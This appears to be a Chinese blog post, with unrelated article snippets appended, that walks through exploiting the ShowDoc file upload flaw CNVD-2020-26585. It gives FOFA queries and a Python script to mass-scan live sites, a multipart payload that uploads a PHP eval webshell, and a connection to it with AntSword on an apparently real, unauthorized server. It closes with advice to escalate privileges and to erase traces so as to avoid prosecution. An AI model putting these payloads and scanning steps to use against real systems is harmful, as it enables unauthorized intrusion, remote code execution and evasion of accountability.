当前位置: 首页 > news >正文

0x03 ShowDoc 文件上传漏洞(CNVD-2020-26585)复现

参考:ShowDoc文件上传漏洞(CNVD-2020-26585)_showdoc漏洞-CSDN博客

一、fofa 搜索使用该工具的网站

网络空间测绘,网络空间安全搜索引擎,网络空间搜索引擎,安全态势感知 - FOFA网络空间测绘系统

"ShowDoc"

 

二、验证目标url是否存在漏洞

手动验证

在url后面拼接

?s=/home/page/uploadImg

如果能成功访问就说明有可能存在漏洞,是否存在漏洞还需要后续进行上传测试

编写python脚本进行批量验证

首先你可以编写个搜索fofa的脚本,用来收集目标ip

搜索ip脚本的编写教程:Python教程:如何用Python编写FOFA爬虫获取信息?_fofa python-CSDN博客

然后就可以编写ip验证脚本

import requests# 读取本地的 ip.txt 文件
def read_urls(file_path):with open(file_path, 'r') as file:urls = file.readlines()return [url.strip() for url in urls]# 测试 URL 是否存在漏洞
def test_vulnerabilities(urls, timeout=3):endpoint = '/?s=/home/page/uploadImg'keyword = '没有上传的文件'for url in urls:full_url = url + endpointtry:response = requests.get(full_url, timeout=timeout)if response.status_code == 200 and keyword in response.text:print(f"Potential vulnerability found at: {full_url}")else:pass# print(f"No vulnerability detected at: {full_url} (Status Code: {response.status_code})")except requests.RequestException as e:pass# print(f"Error accessing {full_url}: {e}")# 主函数
def main():file_path = 'ip.txt'urls = read_urls(file_path)test_vulnerabilities(urls)if __name__ == "__main__":main()

三、尝试上传webshell

随便选择一个可能存在漏洞的url进行复现

使用bp抓包

发送到重发器

将请求改成post请求

然后在请求体后面加上payload 

payload 

Content-Type: multipart/form-data; boundary=--------------------------921378126371623762173617
Content-Length: 257----------------------------921378126371623762173617
Content-Disposition: form-data; name="editormd-image-file"; filename="test.<>php"
Content-Type: text/plain<?php eval(@$_POST['mima']);?>
----------------------------921378126371623762173617--

以下是对每部分的详细解释:

  1. Content-Type: multipart/form-data; boundary=--------------------------921378126371623762173617:

    • Content-Type: multipart/form-data 指定了请求的主体是 multipart/form-data 格式,这种格式通常用于上传文件或包含多个部分的数据。
    • boundary=--------------------------921378126371623762173617 是分隔符,它用于分隔请求中的各个部分。边界值用于在请求体中分隔不同的数据部分。
  2. Content-Length: 257:

    • 指示请求体的长度为 257 字节。这是请求体的总字节数,包括所有分隔符和数据。
  3. ----------------------------921378126371623762173617:

    • 这是第一个分隔符,表示请求体的开始。这是用来分隔请求中的第一个部分的边界。
  4. Content-Disposition: form-data; name="editormd-image-file"; filename="test.<>php":

    • Content-Disposition: form-data 表示这是表单数据的一部分。
    • name="editormd-image-file" 指定了表单字段的名称,这里是 editormd-image-file
    • filename="test.<>php" 指定了上传文件的名称,这里是 test.<>php
  5. Content-Type: text/plain:

    • 指定了上传文件的 MIME 类型,这里是 text/plain,表示文件的内容是纯文本。
  6. <?php eval(@$_POST['mima']);?>:

    • 这是文件 test.<>php 中的内容。它是一个 PHP 代码片段,用于执行传入的 PHP 代码。eval(@$_POST['mima']); 会执行 POST 请求中 mima 字段的内容,这可能会导致代码执行漏洞,允许攻击者在服务器上执行任意代码。
  7. ----------------------------921378126371623762173617--:

    • 这是请求体的结束分隔符,标志着请求体的结束。

 

四、使用工具(蚁剑、菜刀、冰蝎、哥斯拉)尝试连接webshell

这里用蚁剑演示,复制链接至蚁剑,将所有的“\”去除

去除 / 反斜杠后链接就会变成这样 

http://14.***.***.152:8082/Public/Uploads/2024-08-22/66c744243f700.php

 连接密码:mima

可以连接后就可以进入虚拟终端执行一些命令,比如查看当前权限

可以继续上传msf或cs的马进行操作提权,但是我没有目标的授权就不继续下去了,如果你需要学习这方面的知识,可以订阅我的专栏:49-4 内网渗透 - 不安全的服务权限提权_windows提权--不安全的服务权限的原理-CSDN博客

最后记住,清除我们的渗透痕迹,防止别人进行溯源,起诉我们。

免责声明

欢迎访问我的博客。以下内容仅供教育和信息用途:

  1. 合法性:我不支持或鼓励非法活动。请确保遵守法律法规。

  2. 信息准确性:尽管我尽力提供准确的信息,但不保证其完全准确或适用。使用前请自行验证。

  3. 风险提示:技术使用可能带来风险,如系统损坏或数据丢失。请谨慎使用,并自行承担风险。

  4. 责任限制:我对使用博客内容产生的任何损害不承担责任。

  5. 第三方链接:博客中的链接仅为方便用户,内容不由我负责。

使用本博客即表示您同意以上条款。如果有疑问,请联系我。

相关文章:

0x03 ShowDoc 文件上传漏洞(CNVD-2020-26585)复现

参考&#xff1a;ShowDoc文件上传漏洞&#xff08;CNVD-2020-26585&#xff09;_showdoc漏洞-CSDN博客 一、fofa 搜索使用该工具的网站 网络空间测绘&#xff0c;网络空间安全搜索引擎&#xff0c;网络空间搜索引擎&#xff0c;安全态势感知 - FOFA网络空间测绘系统 "S…...

【大模型从入门到精通34】开源库框架LangChain 利用LangChain构建聊天机器人1

这里写目录标题 利用LangChain构建聊天机器人介绍介绍对话型聊天机器人构建环境环境变量和平台设置 加载文档和创建向量存储高级检索技术对话上下文和记忆纳入聊天历史会话缓冲内存 构建对话检索链环境设置与API密钥配置选择合适的语言模型版本Q&A系统设置 利用LangChain构…...

魔法糖果工厂

LYA 是一家魔法糖果工厂的新任管理员。工厂生产的魔法糖果有七种颜色&#xff0c;分别用字母 a、b、c、d、e、f、g 表示。这些糖果被排列在一条传送带上&#xff0c;准备进行包装。为了提高效率&#xff0c;工厂引进了一台智能包装机器人。这个机器人可以按照预设的指令序列来包…...

NVM安装管理node.js版本(简单易懂)

一、前言 1.1 简介 NVM&#xff08;Node Version Manager&#xff09;是 node.js 的版本管理器&#xff0c;用 shell 脚本切换机器中不同版本的 nodejs。 Nodejs为什么需要多个版本&#xff1f; 有经验的开发者可能遇到过&#xff0c;某个依赖包明确nodejs是某个版本&#…...

第1章-04-Chrome及Chrome Driver安装及测试

&#x1f3c6;作者简介&#xff0c;黑夜开发者&#xff0c;CSDN领军人物&#xff0c;全栈领域优质创作者✌&#xff0c;CSDN博客专家&#xff0c;阿里云社区专家博主&#xff0c;2023年CSDN全站百大博主。 &#x1f3c6;数年电商行业从业经验&#xff0c;历任核心研发工程师&am…...

【Linux】SSH 隧道转发场景搭建

ssh建立隧道转发 A设备&#xff1a;没有公网IP地址的本地设备&#xff0c;如本地内网服务器&#xff08;需要能通公网&#xff09; B设备&#xff1a;有公网IP地址的服务器&#xff0c;可以是云服务器 C设备&#xff1a;终端设备&#xff0c;想通过公网服务器B访问到设备A 要…...

前后端部署-服务器linux中安装数据库Mysql8

一、登录Xshell7 && 开放Mysql 3306端口&#xff0c; Redis 6379 端口 二、手动部署MySQL数据库 1.运行以下命令&#xff0c;更新YUM源。 sudo rpm -Uvh https://dev.mysql.com/get/mysql80-community-release-el7-7.noarch.rpm 2.运行以下命令&#xff0c;安装My…...

如何使用jd-gui对springboot源码进行分析

背景&#xff1a; 最近在学习springboot的过滤器和拦截器&#xff0c;想了解一下过滤器和拦截器是怎么匹配URL的&#xff0c;在网上搜了半天都搜不到针对源码的&#xff0c;网上大部分内容都是说怎么配置过滤器和拦截器&#xff0c;怎么使用&#xff0c;并没有对源码进行分析的…...

原来ChatGPT是这么评价《黑神话:悟空》的啊?

《黑神话&#xff1a;悟空》一经上线便迅速吸引了全球的目光&#xff0c;成为了今日微博热搜榜上的焦点话题。作为中国首款现象级的中国3A大作&#xff0c;它的发布无疑引发了广泛的关注与讨论。 《黑神话&#xff1a;悟空》&#xff0c;这款3A国产游戏大作&#xff0c;由国内游…...

C语言第17篇

1.在C语言中,全局变量的存储类别是_________. A) static B) extern C) void D) register 提示&#xff1a;extern adj.外来的 register n.登记表&#xff0c;v.登记 提示与本题无关 2.在一个C源程序文件中,要定义一个只允许本源文件中所有函数使用的全局变…...

Springboot+vue实现webScoket

需求 因为在做的项目中&#xff0c;有多个网站登录同一个用户&#xff0c;故想在某一个页面登录或者退出的时候&#xff0c;对其他页面进行相同的操作 跨域&#xff0c;跨页面&#xff0c;跨项目&#xff0c;跨标签页&#xff0c;https 因为一开始不像麻烦后端&#xff0c;所以…...

CSS知识点详解:display+float

display&#xff1a;浮动 1.block&#xff1a;使元素呈现为块级元素&#xff0c;可设置宽高 display: block; 特点&#xff1a;使元素呈现为块级元素&#xff0c;即该元素会以新行开始&#xff0c;占据整行的宽度&#xff0c;即使其宽度未满。 例子&#xff1a; 2.inline&a…...

ant design pro v6 如何做好角色管理

先上图&#xff1a; 整个角色管理是如何做的吗&#xff1f; 首先你要处理后端&#xff0c;要先把角色存到用户那。 这是用户管理部分的内容&#xff1a; 可以看到一个用户是有多个角色的。 看到没有&#xff0c;存的是数组 数组的是一个 role 对象 role 对象是这样&#xf…...

C++ 设计模式(3. 抽象工厂模式)

抽象工厂模式也是一种创建型设计模式&#xff0c;提供了一个创建一系列相关或相互依赖对象的接口&#xff0c;而无需指定它们具体的类【引用自大话设计模式第15章】基本结构 抽象工厂模式包含多个抽象产品接口&#xff0c;多个具体产品类&#xff0c;一个抽象工厂接口和多个具体…...

【PHP入门教程】PHPStudy环境搭建+HelloWorld运行

文章目录 PHP 的历史PHP 的用途PHP 的特点和优势PHP 环境搭建环境准备安装window 安装CentOS / Ubuntu / Debian 安装 第一个Hello World使用Apache服务运行命令行运行代码 PHP 的历史 PHP&#xff08;Hypertext Preprocessor&#xff09;超文本预处理器是一种开源的通用脚本语…...

补 0 输出。

题目描述 输入一个整数&#xff0c;请在整数前面补 00 补足 88 位后输出。 输入描述 输入一行包含一个整数 nn。 输出描述 输出补00后的整数。 输入输出样例 示例1 输入 2021输出 00002021示例2 输入 202110输出 00202110 import os import sys# 请在此输入您的代码 si…...

因为嫌吵,在自己家也用上了远程控制电脑

加班嘛&#xff0c;赶稿嘛&#xff0c;参加工作的人都懂那种无形的压力和烦躁。 因为家里空间有限&#xff0c;我平常都是直接在客厅用台式电脑加急改写方案&#xff0c;但今天晚上家里来了几位叔&#xff0c;他们边吃饭边聊着秦始皇的话题&#xff0c;都70多分钟了&#xff0c…...

vue---echarts环形图

1、完整代码直接可以cv <template><div id"main1"></div> </template><script> import * as echarts from echarts; // import { mapState } from vuex; // import { Alarm_Device } from ../utils/api.js; export default {name: P…...

克服编程挫折:从Bug的迷宫中寻找出口与面对算法保持冷静的策略

在编程学习的道路上&#xff0c;挫折感无疑是每个学习者都必须面对的挑战之一。它们仿佛是一座座高墙&#xff0c;阻挡我们前进的步伐。然而&#xff0c;正如许多有经验的编程高手所证明的那样&#xff0c;挫折并不是终点&#xff0c;而是成长和进步的催化剂。本文将分享一些有…...

Flink之SQL client使用案例

Flink的执行模式有以下三种: 前提是我们已经开启了yarnsession的进程&#xff0c;在下图中可以看到启动的id也就是后续任务需要通过此id进行认证&#xff0c;以及任务分配的master主机。 这里启动时候会报错一个ERROR&#xff1a;org.apache.flink.shaded.curator.org.apache…...

实际开发中的模块化开发 - 应用到直播间

实际开发中的模块化开发 - 模块管理&#xff08;以直播间为例&#xff09;-CSDN博客 引言 在前面的两篇博客中&#xff0c;我们已经介绍了直播模块的简单结构&#xff0c;创建了模块管理器和模块抽象基类&#xff0c;并且通过模块化实现了两个小业务功能模块。接下来&#xf…...

EmguCV学习笔记 VB.Net 第5章 图像变换

版权声明&#xff1a;本文为博主原创文章&#xff0c;转载请在显著位置标明本文出处以及作者网名&#xff0c;未经作者允许不得用于商业目的。 EmguCV是一个基于OpenCV的开源免费的跨平台计算机视觉库,它向C#和VB.NET开发者提供了OpenCV库的大部分功能。 教程VB.net版本请访…...

【初阶数据结构】顺序表与链表的比较(附题)

目录 一、顺序表和链表的区别&#xff08;其他链表存在缺陷&#xff0c;比较意义不大&#xff0c;这里用带头双向循环链表与顺序表进行比较&#xff09; 1.1插入、扩容与随机访问 二、缓存利用率的比较 2.1前置知识 详解及补充知识&#xff08;本文仅为比较顺序表及链表&am…...

git-20240822

目录 初始化仓库 Git init Git init project --bare 查看提交的记录 git log --prettyoneline 查看当前git远程库地址 git remote -v 查看详细提交记录 git log 撤出暂存区的文件 git reset HEAD file(.代表全部文件&#xff09; 提交数据到远程仓库 git config --global push.…...

【时时三省】c语言例题----华为机试题< 数字颠倒>

目录 1,题目 描述 输入描述: 输出描述: 示例1 2,代码...

【前缀和算法】--- 一维和二维前缀和模板

Welcome to 9ilks Code World (๑•́ ₃ •̀๑) 个人主页: 9ilk (๑•́ ₃ •̀๑) 文章专栏&#xff1a; 算法Journey 本文开始,博主开始讲解有关前缀和的算法&#xff0c;本篇博客我们先来了解一下有关前缀和的两个模板。 &#x1f3e0; 一维前缀和模板 &…...

有些信息注定会丢失

智能在分析问题、做出决策时&#xff0c;总是希望获取尽可能多的信息&#xff0c;以此更加准确地决策。然而&#xff0c;很遗憾的是&#xff0c;有一些信息注定会丢失&#xff0c;不可能获取完全的信息&#xff0c;而且即使能够获取&#xff0c;智能也不能完全利用。 这一点与…...

c#中Task.Run 和使用 Task 构造函数创建任务的区别

Task.Run 和使用 Task 构造函数创建任务是两种不同的方法&#xff0c;它们在某些方面有显著的区别&#xff1a; 启动方式: Task.Run 是一个静态方法&#xff0c;它立即启动一个任务并在后台执行指定的工作。它通常用于快速启动一个简单的后台任务。使用 Task 构造函数创建任务&…...

使用nginx做代理转发

需求1&#xff1a;通过监听服务器的80端口&#xff0c;将请求转发到另一台服务器的8070端口 打开nginx/nginx.conf文件 server {listen 80;server_name localhost;location /analys {proxy_pass http://10.xx.xx.xx:8070/;} }需求2&#xff1a;通过监听服务器的80端口&am…...

Java前端与后端交互:JSON与XML数据交换 - 掌握现代Web开发的核心技能

引言 随着互联网技术的不断进步&#xff0c;Web应用变得越来越复杂&#xff0c;从前端到后端的每一个环节都需要精心设计以保证良好的用户体验。在这个过程中&#xff0c;数据的传递扮演着至关重要的角色。无论是简单的表单提交还是复杂的API调用&#xff0c;都需要一种可靠的…...